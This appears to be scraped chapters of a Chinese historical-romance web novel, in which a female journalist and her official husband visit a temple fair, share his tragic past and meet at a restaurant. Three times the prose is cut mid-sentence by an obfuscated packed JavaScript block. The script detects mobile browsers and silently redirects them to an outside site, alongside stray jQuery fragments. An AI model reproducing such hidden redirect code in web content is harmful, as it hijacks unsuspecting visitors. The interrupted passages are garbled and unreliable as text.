她笑吟吟地向她的室友行礼:“许公子,这么晚了你还不曾歇息?” 许昭闻声放下手中的书,也向孟允抒报以微笑:“姑娘回来了,请坐。” 孟允抒疑惑地看着许昭指的方向,那是张和他并排的椅子,两者之间的距离不过一指宽。 她迟疑着问许昭:“我们一定要这么坐吗?” 许昭的盛情难却,孟允抒最终还是挨着他坐下,肩并肩地对着他桌上那堆书大眼瞪小眼。 她现在一扭头就能发现,许昭那张脸近在咫尺。 哪有这样坐着聊天的。 孟允抒还没调整好状态开口说话,许昭率先问道:“这几日我不曾见你,报社中的各项事务可还顺利?” 孟允抒发现,许昭说这话时根本没在看她,而是面色平静地目视前方,像是在和空气交流。 看起来他也不习惯这种座位设置。 “公子放心,一切都照常进行,并无差错。” 孟允抒说着,起身想将椅子搬到许昭对面去,却被他一把攥住了手。 她不理解许昭的想法,困惑地看了看他。 两人目光相接的一瞬间,许昭忽地抽回手,将视线投向别处,语气略显失落:“姑娘果然与我隔阂颇深。” 孟允抒还以为许昭指的是她搬椅子的举动,向他解释道:“公子误会了,你我这样不便交谈,我去对面坐。” “不行。”许昭断然拒绝她的提议,转而直视着她,“今日报社中有人寻衅滋事,你为何不对我说实话?” 孟允抒心头一惊,这下也顾不上挪动椅子,连忙笑着掩饰道:“报社分明平静无事,公子从何处听闻这般流言?” 她再三叮嘱秋盈不要将此事透露给许昭,而且两人是一齐回到府中,绝不可能是她走漏了风声。 只要消息来源不可靠,她就还有辩解的余地。 “你还在瞒我。”许昭面有愠色,“你受伤了也不告诉我,还要我从旁人口中才能得知。” 听许昭的话,他应当已经知晓内情,现在再狡辩只会火上浇油。 孟允抒眼眸低垂,语气恳切地说道:“我并非有意欺瞒公子,只是你平日公务繁忙,我不愿让你因这些小事忧心。况且我只是受了点轻微伤,不足挂齿,故而没有对你坦言,请公子见谅。” “抱歉。”许昭察觉到他的脸色不大好看,或许吓到了孟允抒,温声解释道,“我无意怪罪姑娘,只是你经历此番遭遇,却非要一人扛着担子,我实在挂念姑娘,所以才……” 孟允抒松了口气,还好许昭不是因为她的欺瞒而动怒。 她对许昭笑道:“多谢公子关怀。今日之事有惊无险,衙役及时赶到,犯人都已被捉拿归案,你不必担忧。” 许昭沉默片刻,轻轻叹了口气。 “创社之初你就多次嘱咐我与萧公子,让我们对入股之事守口如瓶,所以无人知晓报社的来头。” 他抬眼注视着孟允抒,眼神中满是懊悔与愧疚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15361893|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “要是我们将内幕公之于众,定然无人敢在报社生事,能免去许多麻烦,你也不会经受今日之难。” 孟允抒不想让许昭知道报社风波的原因正在于此。可既然他的话已经说到这个份上,她也必须表明自己的态度。 “公子既已提到此事,那我就向你说明我的想法。如有言语不妥之处,还请公子见谅。” 孟允抒看向许昭,正襟危坐。 “我不愿对外透露报社的幕后支持者以及我的身份,第一种原因我已经告诉过你们。小报处境敏感,我不想让不轨之人利用小报做文章,攻讦你与萧公子,影响你们的仕途。” 许昭沉默不语。官商勾结祸乱民心确实是重罪,如有人故意构陷他们,他们恐怕是百口莫辩。 “第二种原因则与报社声誉有关。我们所办报纸是民间小报,受众多为平民百姓。倘若他们知晓我与官员关系密切,他们就会认为我是官府喉舌,进而怀疑新闻的透明度与真实性,于小报销量不利。” 邸报不受欢迎的原因正在于此。层层审核下来,邸报上只剩下些不痛不痒的朝政新闻,对民众来说,既不新鲜也缺乏吸引力。 “最后一种原因则出于我的私心。你与萧公子都是我的贵人,对我恩重如山,凭借你们的名号,报社生意定能顺风顺水。但是,我在其中的努力也会一文不值。” 孟允抒的语气坚定有力,许昭看向她时,正对上她如炬的目光。 “有人会被这样的噱头吸引,也有人会因你们的身份讨好报社。照这样下去,即便我事业有成,根本原因也不过是‘仗势欺人’。” 孟允抒的话如声声惊雷贯彻人心,过了半晌,许昭依然觉得书房内回荡着她这番激情澎湃又坚定不移的自白。 许昭微微俯首:“是我轻视了姑娘。” 这句庄重的回答为孟允抒的发言画上了句点,同时也给了她莫大的支持与理解。 孟允抒如释重负地笑道:“公子不必道歉,你愿意听我说这番话,我已是感激不尽。” 她确实经常在许昭面前演戏,可这句话却是发自真心。许昭与她生活的时代不同,却能够理解并尊重她的思想观念,实属不易。 孟允抒的问题圆满解决,她起身告辞道:“公子也早些歇息吧。” “嗯。”许昭点点头,却猛地想起他还有件事没做,急忙叫住孟允抒,“姑娘留步,我还有一事想问。” 在他的示意下,孟允抒回到她那个尴尬的座位上,看着许昭坐在她面前欲言又止,接着站起来在书房转了几圈,最终还是没能开口。 孟允抒满腹疑惑:“公子想问什么直言就是,我不会责怪你。” 这句话像是让许昭下定了决心,他在孟允抒面前站定,目光躲闪。 “听说姑娘伤在右肩,我能否看看你的伤势如何?” 孟允抒的身体一僵。 从名义上来讲,许昭提出的要求并不过分,她的思想也并不保守,露个肩膀不是什么大不了的事。 但他们两个孤男寡女共处一室,再加上许昭的语气拘谨,她总觉得这话听起来有些暧昧。 孟允抒强行摆脱脑内那些混乱怪异的想法,点点头道:“可以。” 她褪下半边外衫,一片淤青就这样赫然暴露在外。 许昭没有碰她的皮肤,只是蹙起眉,用目光轻轻抚过那处青紫的瘀伤。 他曾见过无数比这更加狰狞的伤口,可眼前的淤青依然让他心头发颤。 “现在还疼吗?” 孟允抒不以为意:“本来就没多疼,一点小伤而已。我已经上过药了,过不了几日就能消下去。” 许昭察看完伤势,让孟允抒重新整理好衣服,劝说她道:“明日你先休息一天,别去报社了。” “不行,明日我要去庙会采闻。我们已经确定好选题,不能临时换人。” 许昭若有所思,他突然开口问道:“秋盈会陪你一起去吗?” 孟允抒笑笑:“当然不会。秋盈现在可是我们报社的大掌柜,有时候比我还忙。再说,总不能给每个探官都配名随行人员,报社哪有那么多人。” “那我和你一同前去。”许昭垂眸说道,“正巧我也想逛庙会。” 孟允抒看着他心虚的模样,马上得出了一个结论。 许昭可能从来没撒过谎。 18. 庙会 孟允抒坐在马车上撩起车帷,看向街上络绎不绝的行人与路边大声叫卖的摊贩,将繁华的街景尽收眼底。 在千百年的发展演化中,胤朝的庙会内涵已经远超字面意义,除了它最初具有的宗教色彩以外,更多地象征着每月五次的大型商贸集会活动。举办庙会的中心场所是大礼国寺,许多商人会借此良机,在寺庙内外设置摊位,经营自己的生意。 孟允抒望见一名理发匠放了几个小马扎,直接坐在路边给顾客刮脸修面;不远处的商贩高声吆喝,宣传所售香饮子的奇特功效;茶坊中挤满了人,依稀可见其中正有人热火朝天地斗茶;甚至还有在街边做艾灸按摩的行医。 拥挤的商品与行人看得孟允抒眼花缭乱,虽然她对满目喧嚣恋恋不舍,却也只能暂时放下车帷,先去打个报道的腹稿。 当她把注意力收回到车中时,这才察觉到一丝不对劲。 她看了看端坐在她右侧的许昭,又低头估量了一下两人之间的距离。 她分明记得,两人刚上车的时候分坐在车厢两端,他们中间的空隙还能容纳得下第三个人。 但眼下许昭已经坐在车厢正中央了。 孟允抒看他一脸正气的样子,不像是有意为之,猜测这是马车颠簸的缘故。当前街上行人摩肩接踵,时不时有对面过来的马车与他们狭路相逢,二者还要争道而行。在剧烈的晃动之中,他的位置发生偏移也实属正常。 于是孟允抒保持沉默,转而去思考她待会要提的问题。 这份和谐没能保持太长时间,因为孟允抒敏锐地发现,许昭又悄悄朝她这边挪了一小段距离。 她不解地看向许昭,他还是那副坦然的神色,坐在车上不发一言。 孟允抒不明白他这是在干什么,她只知道,再不开口的话他就要挤到自己身上来了。 “许公子,你往那边坐坐。”孟允抒提醒他,“我快没处坐了。” 许昭转头看她一眼,神情落寞,像是受了沉重的打击。 他低声问道:“姑娘是想让我离你远些?” 孟允抒听出他声音中的难过和酸涩,更加觉得莫名其妙。 他这是和谁学的,萧谨言吗? “不,我没有这个意思,你别误会。” 无论孟允抒如何解释,许昭都不相信她心口如一,她第一次想用“笨嘴拙舌”来形容自己。最终孟允抒只能无奈地说道:“算了,就这样坐着吧。” 在听到这句话的瞬间,许昭的眼神一亮,脸上也显出高兴的神色。 孟允抒隐约觉得,她好像给自己带了个拖油瓶。恐怕她今日的采访不会很顺利。 马车在大礼国寺门前停下,孟允抒刚从车内探出半截身子,来自四面八方的喧闹就一起向她涌来,将她层层包裹在其中。 她的双脚踩在地面上,却在一片嘈杂的冲击下觉得脚步飘然,甚至有些站不稳。纷乱之间,她环视了一圈眼前的场景,平生第一次体会到“目不暇接”的具体含义。 孟允抒集中注意力,回想了一下她先前看过的大礼国寺地图,按她事先计划好的路线出发。 她拍拍正在东张西望的许昭:“许公子,我们先往这边走。” 庙会上有身上挂满鼓锣的流浪艺人,行走在人群中敲敲打打,时不时拿起随身携带的其他乐器拨弄一番;许多民间艺术团体也在此进行表演,杂耍、驯兽、歌舞应有尽有,音乐声与喝彩声不绝于耳。 孟允抒走过几个摊位就要驻足欣赏一番,在闹市中不得不提高嗓门对许昭喊道:“难怪你想来逛庙会,果真是热闹非凡。” 许昭也少见地扯着嗓子喊:“我幼时最喜欢逛庙会,不过我们那里一年到头也办不了几场。” 孟允抒觉得他们再这么喊下去,过不了一刻两人就都该失声了,于是拉着许昭快步拐到一条行人稍少的路上。 这条道路两边的商贩售卖的大多是些手工艺品,尽是些奇巧精致的玩意儿。孟允抒来了兴致,热情洋溢地跑到那些摊贩前询问详情。 她认真听完摊主讲解绢人的制作过程,正要拿起旁边那个滚灯提问,许昭蓦地在旁边问道:“你有想要的东西吗?” “对,对。”那摊主见状连忙附和,他打量了一下许昭,眼睛都笑得眯成两条细线,撺掇孟允抒花钱,“姑娘既然是带着郎君一同前来,有什么想要的就赶紧开口,过了这村可就没这店了。” 孟允抒暗道不妙。她的预感成真了。 她从一开始就根本没想买东西,只是想拉摊主做个免费采访,这才一直和他套近乎。许昭这么一说,她哪还好意思再继续问下去。 孟允抒尴尬地赔着笑:“抱歉,我只是想随便看看,打扰掌柜了。” 说着,她赶紧拉了许昭一把:“快走。” 但许昭好像没理解她的意思,依然执着地钉在原地。 他看看眼前琳琅满目的商品,转头问孟允抒:“七巧板,你要吗?” 孟允抒窘迫得无地自容,又不好直接在摊主面前和许昭发生冲突,只能飞快地回答:“不要,赶紧走。” “风筝呢?” 孟允抒咬牙切齿地答道:“不要。” 许昭像是铁了心要和她对抗到底,说出一连串的商品名。 “九连环?不倒翁?拨浪鼓?陶笛?竹蜻蜓?陀螺?” 合着许昭隔这报菜名呢。 孟允抒只能威胁他:“你再不走我自己走了。” 她撂下一句话,就大步流星地继续向前。 许昭只好向摊主道了歉,追上孟允抒的步伐。 他观察着孟允抒的表情,见她有些发恼,语无伦次地解释道:“请姑娘不要生气,我见你对那些东西爱不释手,所以才会那样发问。” 孟允抒见许昭小心翼翼的模样觉得有些歉疚,他问那句话完全是出于好心,她确实不该责怪他。 “多谢公子惦念,我没有生气。”她缓和语气对许昭笑笑,以此打消他的顾虑,转而提醒他道,“只是在我提问时,你不要贸然开口。” 许昭赶紧点头表态:“我明白了。” 孟允抒又来到一处卖假发髻的摊位前,此处挤满了女子,孟允抒听见其中几人讨论着“借头”之事。 “借头”就是指女子之间共享发髻的行为。通常情况下,品质上乘的假发髻价格高昂,孟允抒眼前那顶加了珠翠装饰的发髻甚至标价八千文,是妥妥的奢侈品。 孟允抒上前询问摊主详情,让他介绍了几顶价格亲民的假发。这些假发由丝线或动物毛发制成,可谓那些高档假发的平替,唯一美中不足的是质感略差,但临时拿来糊弄旁人还是绰绰有余。 孟允抒将这条见闻深深烙在脑海中。 除了撰写报道的需要,或许她在日后乔装打扮时也能用得上这种假发。 她这样游览了数个摊位,欣赏过书画,体验了游戏,在此过程中,许昭始终不发一言,恪守着她的要求。 孟允抒转头看了看许昭,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378937|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用询问的眼光回看向她。 许昭不但不说话,好像连呼吸都被刻意屏住了。 孟允抒觉得她对许昭太过严苛,于是收回她的禁令,半是好笑半是自责地说:“许公子,我已经收集了足够多的新闻素材,你可以说话了。” 许昭左右张望一番,他们已经行至这条路的尽头,只余下旁边两三个摊位没有游览。 他指着其中一个热闹非凡的摊位说:“我们去那里看看。” 孟允抒随他来到摊前,发现上面尽是些珠宝首饰,其中有不少华丽繁复的钗环,可见其工艺精湛。 摊主和另一边的顾客回完话,笑容满面地迎上来问:“姑娘是想买哪种类型的首饰?喜欢造型精致些的还是简单大方些的?” 孟允抒还想用那句“随便看看”来回应摊主的热情,却被许昭提前打断了施法:“你在里面选些自己喜欢的。” 孟允抒还没来得及拒绝,他又补充:“一个也行。” 听着许昭这不容拒绝的语气,孟允抒觉得这更像是他给自己下的一道命令。 她迅速扫了一遍摊位上的饰品标价,顿时觉得荷包一痛。 孟允抒随便找了个理由搪塞许昭,催促他赶紧离开:“我没有喜欢的,我们还是去别处看看吧。” 摊主却已经将她的动作尽收眼底,笑着对许昭打趣道:“公子,你家夫人心疼你,这是想给你省钱呢。” 这句话更加坚定了许昭要给孟允抒送礼的决心。他回忆着萧睿言传授给他的小妙招,想起只有最后一条还没派上用场。 他看看旁边那对正在打情骂俏的年轻男女,僵硬地伸出手,轻轻拽了拽孟允抒的袖口。 “你戴上这些一定很好看,就当是为我买的,好不好?” 孟允抒惊愕地站在原地,无数猜想从她的大脑中飞速闪过,却没有一条能解释许昭的行为动机和逻辑。 从许昭今天的种种反常行为来看,他怕不是吃错了药。 如果买一件饰品能让许昭恢复正常,那这笔钱就花得值。 于是,孟允抒在满摊的饰品中仔细搜寻一番,终于找到一支符合她审美又极具性价比的银簪。 许昭爽快地付了钱,满心欢喜地把盒子交给孟允抒,仿佛收到礼物的人是他一样。 孟允抒掂着手里沉甸甸的盒子,她觉得不能任由许昭这么继续犯病,不如直接询问他行为反常的原因。 她开门见山道:“从我认识公子以来,我就不甚了解你,现在我更不明白了。公子若是有什么想法,或是有心里话,还请对我明说。” 许昭见她神情严肃,忽然想起萧睿言对他说的话。 他问孟允抒:“姑娘是否觉得我难以接近?” “你鲜少向我袒露心迹,我的确无法理解公子所思所想,更不知道你想做什么。”孟允抒抓住这个契机,趁热打铁道,“你若是一直不肯对我坦言,那我又怎能明白公子心意?” 许昭似乎对这番话颇有感触,他沉默良久,目光反复从孟允抒身上扫过。 最终,他给出了一个让孟允抒意外的答案。 “其实,我也不知道我想做什么。” 孟允抒从许昭的表现中察觉到,他的意志有所松懈,现在是与他谈心的绝佳时机。她将许昭的话细细剖析几遍,决定对他做个深度访谈,让他能更清晰地进行自我表达。 她四下搜寻一番,指着侧方的那处高台说:“那里稍微安静些,公子随我去那边说吧。” 19. 过往 孟允抒带着许昭登上高台,从此处可以望见山头的一轮圆月。夜空晴朗,是个好天气。 她安排两人面对面地坐在宝殿旁边的石凳上,因为两凳间的距离较窄,他们这样坐下后,两人的膝盖就这么碰在一起,达成物理意义上的“促膝长谈”。 许昭不解地看向孟允抒:“我们为何要这样谈话?” “你别问那么多,照做就是。”孟允抒笑笑,“把手给我。” 她轻轻握住许昭的手放在两人膝头,先让许昭放松,而后引导他与自己的目光相接。 这是之前他们单位举办心理团建活动时的一个环节。在此种情况下,所有人都能在不知不觉中说出真心话,彼此坦诚交流,孟允抒觉得效果很好。 许昭不习惯直视孟允抒,把视线挪到别处问:“这也是你所说的‘采访’?” “是。但公子今日所说之事,只有我一人知晓,我保证不将此事外泄。”孟允抒鼓励他看过来,“你若是信我,就请对我直言。公子现在心情如何,或是有什么感受?” 许昭对上了她的视线。 孟允抒的发丝被晚风轻轻扬起,眼中却盛满细碎的灯火,似是要映亮一方夜空。 许昭倏然想起盛放的烟花,美丽绚烂,可同时转瞬即逝。 一幕幕往事在脑海中浮现,他不由得攥紧孟允抒的手,沉痛而急促地说出两个字:“害怕。” “公子莫怕,我在此处听你说话呢。”孟允抒安抚他的情绪,试探着问,“你是不是想起什么了?” 许昭点头:“姑娘可愿听我细细道来?” 他愿意主动敞开心扉,孟允抒觉得这是个积极的信号。 “那是自然。” 许昭沉思片刻,似是在组织语言。而后,他讲起了他的过往。 “我出生在绥宁县的一个村子里,父母皆是普通农民。我对我父亲的印象不深,只记得他好赌嗜酒,整日醉醺醺的,又满口脏话,时常打骂我与母亲。我七岁那年,我们县闹饥荒,父亲卷走了家中所有的财物逃荒,再也不见踪迹。” 孟允抒虽已与许昭成婚两年,却只从旁人那听说他无父无母,并不了解其中详情。今日是他首次提及自己的身世。 绥宁县是胤朝的一个小县城,地处西北,气候干旱,常年黄沙漫天。那里的经济本就落后,乡下人的生活只会比城中百姓更加艰难。 “面对这个烂摊子,我母亲觉得这下反倒好了,终于摆脱了我父亲那个混账。她说,与其冒着风险改嫁,不如由她一个人带我自谋生路。她连字都认不得,却总是叮咛我用功勤学。” 许昭脸上浮现出愧疚的表情。 “我幼时顽劣不喜读书,对考取功名一事嗤之以鼻,只顾着与伙伴玩闹,常常惹得母亲发火。她见我不思进取,索性将我从私塾带出来,让我在三伏天顶着正午的日头,和她一起去田间劳作。我受不住酷热,就央求她放我回去,发誓从此之后一定刻苦念书。” 孟允抒点头,示意他继续往下讲。到此为止,这就是个老套的劝学故事。 “我母亲却失望地摇头。” 孟允抒未曾料到故事会突然发生转折,愣怔地看向许昭。 “她指着那些汗如雨下的农民对我说,她劝我读书,并不是为了让我逃离这样的生活,而是希望我能寻找治世良策,使天下黎民都不必承受这种苦难。” 孟允抒没想到,在胤朝,一个不识字的贫民妇女竟能拥有如此广博的胸怀。 许昭停顿片刻,像是对母亲致以深切的敬意。 过了一会,他才重新开口。 “从那天起,我懂得了学习的真正意义,终于在二十一岁那年考中举人。在紧随其后的会试中我名落孙山,绥宁县的县衙内又恰好有职位空缺,所以我先在那里临时任职,打算等三年后再次参加会试。” 孟允抒记得,许昭是二十四岁时中了探花,而后一年两人成婚,时间对得上。 “初入官场,我想法单纯,性格耿直,空有满腔抱负却不懂得圆滑处事,故而得罪了不少人,却也因此结交了两三个志同道合的至交好友。” 孟允抒心想,许昭的作风倒是一直都没怎么变。 “绥宁县距京城两千里远,皇上和高层官员都鞭长莫及,当时的知县只手遮天,与通判沆瀣一气搜刮民脂民膏。我与那些好友发现此事,就在暗中搜集证据,打算绕过他们,直接将罪证呈往上级。” 铲除地头蛇绝非易事,孟允抒不由得紧张起来:“结果如何?” “有人走漏了风声。知县得知此事,寻个由头将我们几人的家眷请到他府中,其中包括我母亲。他假意请客,实际上是想控制住他们,用他们的性命作为要挟,并让他们写信劝诫,让我们就此罢手。” 在这样两难的境地中,孟允抒难以想象,如果当事人是她自己,她会做出怎样的选择。 “我没有犹豫太久,因为我母亲没有给我留时间。” 许昭的声音变得沙哑,眼中逐渐蒙上一层水雾。 “她知晓内情后,当面大骂知县狗官,说她绝不会被他利用,让他奸计得逞。她高呼一声‘苍生何苦’,当即撞墙而亡,血溅知县府。” 她死得决绝,壮烈,有气节。 一滴眼泪从许昭面庞上骤然坠落,砸在他的手背上,迸出一朵碎裂的水花。 孟允抒被他母亲以死明志的行为深深触动,只是沉默地伸出手指,轻轻拭去许昭手背上的泪痕。 许昭平复心情,继续讲了下去。 “我没了后顾之忧,但其他人并非如此。有些人选择向知县倒戈,有些人同我一样东躲西藏,最后成功让此事上达天听。在这一过程中,我的挚友与我反目成仇,也有几人命丧黄泉。” 孟允抒看向许昭朦胧的泪眼,心情十分沉重。 她和许昭心里都清楚,他所做的事完全正确,可它的代价实在太过惨痛。他打了一个漂亮的胜仗,同时也输得一无所有。 “后来我到京城做官,终于见到众人口中的繁华盛景。但我与亲友的约定却一个都没有实现。” 许昭泣不成声。 “中举那天,我高兴地对我娘说,从此之后她不必再住漏风的破屋,能有一床完整的被褥,不用去市集上捡别人丢掉的烂菜叶。” “在我小时候,她就常常站在田间地头眺望。我问她在看什么,她说她在想象京城人的生活。我对她承诺,我一定会做上京官,带她去往天子脚下。可她熬了一辈子,最终也没能看一眼京城。” “对我那些好友来说也一样。起初我们互相打趣,若有一人飞黄腾达,就邀请其余人去皇都游玩。等我到了此处定居后才发现,我已不知该将请柬寄给何人了。” 许昭的话语被啜泣揉成七零八落的字词,声调也抖得厉害。 “从那时起我意识到,政治远比我想得复杂。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15388496|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿再经历这般折磨,也不想看到亲友因我遭殃,索性从一开始就不同他人产生纠葛。” 这句话为许昭此前的矛盾表现做出了解释。他不怕得罪人,却对所有人都保持着置身事外的疏离态度。 孟允抒所从事的也算高危职业,她理解许昭的想法。无牵无挂自然一身轻松,没有软肋就不会被他人威胁,更不会有人因他无辜受害。 但许昭并非铁石心肠,仍对人与人之间的情谊心向往之。否则他今日也不会讲述这些事。 “我明白了。”孟允抒握住他的手,温声说道,“我不会直接替公子做出选择,这样是把我的想法强加于你。只有你自己想明白了,才能得出想要的答案。” “但我可以帮你扪心自问。” 她笑了笑,话锋一转。 “请问公子,在你揭发知县罪行之前,你与身旁亲友过得是否开心?” 许昭想起他和好友品茶论道、与母亲闲聊对谈的日常,十分怀念那份闲适恬淡的时光。 “开心。” 孟允抒的声音轻快起来:“所以,就要看公子喜欢哪种生活了。是一直克己自抑,超然出世,或是珍惜当下,从心所欲。” 许昭抬眼看向孟允抒,她的眼瞳清亮,映出的却非夜空上的月光,而是高擎的火把,明艳非常。 这份光亮驱散他了心头的阴霾,温暖的火焰融化内心的坚冰。 新芽破土而出,推翻了压在其上的千斤巨石,执拗地焕发出生机。 他知道答案了。 “姑娘认为,怎样做才算从心所欲?” “若是为它强加解释,哪还算的上从心所欲。”孟允抒说,“当然是想到什么说什么,想怎样做就怎样做。” 许昭沉思片刻,突然开口说道:“其实,我很喜欢吃芝麻糖。” 孟允抒先是愣了一下,而后反应过来许昭在按照她传授的方法做练习。 她笑得前仰后合:“对,就是这样。” 许昭受到鼓励,放开胆子吐槽同事。 “工部的胡大人做事雷厉风行,治水有方,我甚是钦佩。可他不修边幅,走到哪里都臭气熏天,我好几次都想提醒他快去沐浴。” 孟允抒一听,这是个好机会,许昭再说下去可能还会爆出更多猛料。 她赞扬许昭:“公子做得很好,继续。” 许昭越说越兴奋,语速飞快,将各种琐事都抖搂了个干净。 “你办报之初,我每天都悄悄派人前去买报,为你冲销量。” “什么?” 孟允抒的质疑让许昭猛地回过神。 这半天他说话不经大脑,一不小心把这事说漏嘴了,简直是不打自招。 “不是,我……” 许昭手足无措地辩解,但他的话语中漏洞百出,就像一团越绕越乱的毛线球。 孟允抒绷着脸,站起身丢下一句话:“走。” 许昭急忙跟上她,小声问道:“去哪?” 见孟允抒半天不说话,许昭心里七上八下,只能试探性地按住她的肩膀:“我已知错,以后绝不会再这样做,请姑娘见谅。” 孟允抒被他扳得转过脸来,再也憋不住笑意,放声大笑起来。 “我明白公子是一片好心。” 她笑了一阵,直起腰指向那条热闹的小吃街,回答许昭那个关于他们去哪的问题。 “去给你买芝麻糖。” 20. 美食测评 时至正午,孟允抒从椅子上起身,活动了一下酸痛的脖颈,而后穿过中庭,来到前面的店铺中。 她见秋盈还在忙碌,就简短地和她打了声招呼:“秋盈,我要外出采访,不到两个时辰就能回来。社中事务就先交给你了。” “等等。”秋盈叫住孟允抒,喊来其他伙计应付顾客,腾出空赶到她身边问,“你要去何处采闻?” “揽月阁。”孟允抒回答,“最近那里推出了几道新的特色菜,有不少人对其感兴趣。” 秋盈点头,又免不了叮咛她几句安全问题。 孟允抒打趣道:“都这么久了,你还在担心我。社中那么多事,还不够你操心的?” 秋盈不好意思地笑笑,转而问她:“这种选题怎么会落到你头上?” 在过往的新闻选题当中,孟允抒往往会选择难度较高的任务,或是被其余人挑剩下的主题。本来美食测评是份好差事,按理来说应当甚是抢手,不会由她进行采闻。 “我们现在的资金不足,探官的采闻费用申报上去后,最起码要过上一月才能收回花销。”孟允抒说,“揽月阁的菜品价格高昂,没人想预先垫付。” 秋盈轻轻叹息:“等我们再积累些名气,这些问题就能迎刃而解了。” 名与利总是相伴相生的,当一种报纸的名号足够响亮,自然会有人主动请他们打广告做营销,达成合作共赢的伙伴关系。 孟允抒不想走捷径,就只能扎扎实实地从无名小卒做起,自己想办法推广他们的报纸。 “说不定近日我们就能碰上桩爆款新闻,接着就名声大噪。” 她和秋盈调侃一番,向她告辞后前往揽月阁。 孟允抒刚跨进揽月阁的门槛,便闻到扑鼻而来的香气。 现在正是饭点,作为京中规模最大、最有名气的食肆,揽月阁已经坐满了人。他们桌上的菜品种类繁多,从绣吹羊到蟹酿橙,从煎黄雀到杏酥饮,各种菜系一应俱全。佳肴混着美酒,谈笑和着酒令,店小二忙着上菜送客,好不热闹。 一个伙计瞅见在门口张望的孟允抒,乐颠颠地跑过来问:“姑娘一个人?” 孟允抒点头:“听说揽月阁近日出了不少招牌菜品,我特意来尝尝鲜。” 她又提出自己的要求:“有劳你为我寻处一楼的座位。” 揽月阁的二三楼都是雅间,她可不想付额外费用。 “好嘞,您这边请。” 店小二引着孟允抒在一处空桌上坐下。这张桌子离楼梯很近,她能听得见往来食客的脚步声在她头顶咚咚作响,甚是吵闹。 那伙计也意识到这一点,在孟允抒还没开口前就赔着笑说:“姑娘,真是对不住,这会店里人多,没几个空位,您先将就着吃。待会我请老板给您抹个零,您看如何?” 孟允抒心想,难怪揽月阁能成为京中一流的食肆。就冲这眼力见儿和服务态度,它要是不受欢迎简直天理难容。 然而,随着她接过伙计拿来的菜单,将上面的条目一一看下去,她的笑容逐渐消失。 在价目表上,和前面的那列整数相比,后缀的那点零头简直不足挂齿。 “买家不如卖家精”真是一句颠扑不破的真理。 她正准备忍痛点单时,头顶的楼梯上忽然传来一个熟悉的声音。 “我只是秉公办事,并未帮上你什么忙。无功不受禄,潘掌柜不必如此客气。” 孟允抒循声望去,只见许昭已经下到最后一级楼梯,和揽月阁的掌柜边走边说话。他身后还跟着两人,看样子是他的下属。 似是察觉到孟允抒的目光,许昭也看了过来,在发现她后微微一怔。 潘掌柜见状连忙上前:“大人认识这位姑娘?” “嗯。”许昭点点头,对身后的两人交代道,“你们先回去,我在此处用膳之后再走。” 其中一个下属看上去非常年轻,直截了当地抒发自己的疑惑:“您刚才不是说不吃饭吗?掌柜劝了您半天都不答应,怎么这会又要吃饭了?” 他旁边那个下属则咳嗽一声,用眼神指了指孟允抒:“大人有事要忙,咱们先回官府。” 那个年轻下属没明白他的意思:“反正我们也该吃饭了,为什么不一起吃?哎你用胳膊撞我干什么?” 两人互相拉扯一阵,终于走出了店门,许昭和掌柜则走到孟允抒桌边。 潘掌柜热情地迎上来行了一礼:“既然姑娘是许大人的熟人,那也是我们揽月阁的贵客,请随我去二楼的雅间就座。” 说着,他又训斥身后的伙计:“你怎么连贵客的身份都认不出,当真是有眼无珠。” 孟允抒很清楚,这明摆着就是演戏给她看,却也只能遵循礼节劝解道:“算了算了,潘掌柜消消气。我与许大人只是点头之交,称不上什么贵客。我觉得此处很好,就不劳烦掌柜给我换地方了,您快去忙吧。” 潘掌柜再次客套一番后让伙计留下,再三嘱咐他不得怠慢许昭和孟允抒二人。 孟允抒点完了单,这才有时间与许昭独处。 伙计前脚刚走,许昭就丢出了一个问题,声音满是委屈。 “姑娘与我只是点头之交?” 孟允抒早就发现许昭心不在焉,她还以为他是在思索什么重要的事,闹了半天原来是在纠结这个问题。 许昭直来直往惯了,他不懂这些虚礼倒也正常。 孟允抒耐心解释道:“我要是不那样说,掌柜肯定会坚持让我去楼上。不付钱我良心不安,付钱的话又是一笔不小的数目,我可不想当冤大头。” 许昭却不肯善罢甘休,追问她道:“那在你眼里,你与我是什么关系?” 孟允抒觉得这话像小学生问的。 既然如此,她也只能用小学生的方式作答。 她拍拍许昭的肩,语气深沉道:“我和你天下第一好。” 许昭显然对这个回答非常满意,他笑了好一会才想起来问她:“你怎么在这?” 孟允抒向他讲述了自己前来采闻之事,又反问他来这的目的。 “前段时间,在排云和其余民众的揭发下,县衙中有几名官员因收受贿赂落马,但恐怕还有许多漏网之鱼,他们的罪行还并不明了。这阵子我在清点旧案卷宗,对其中的疑案进行重审。” 谈到正事,许昭的表情重新严肃起来。 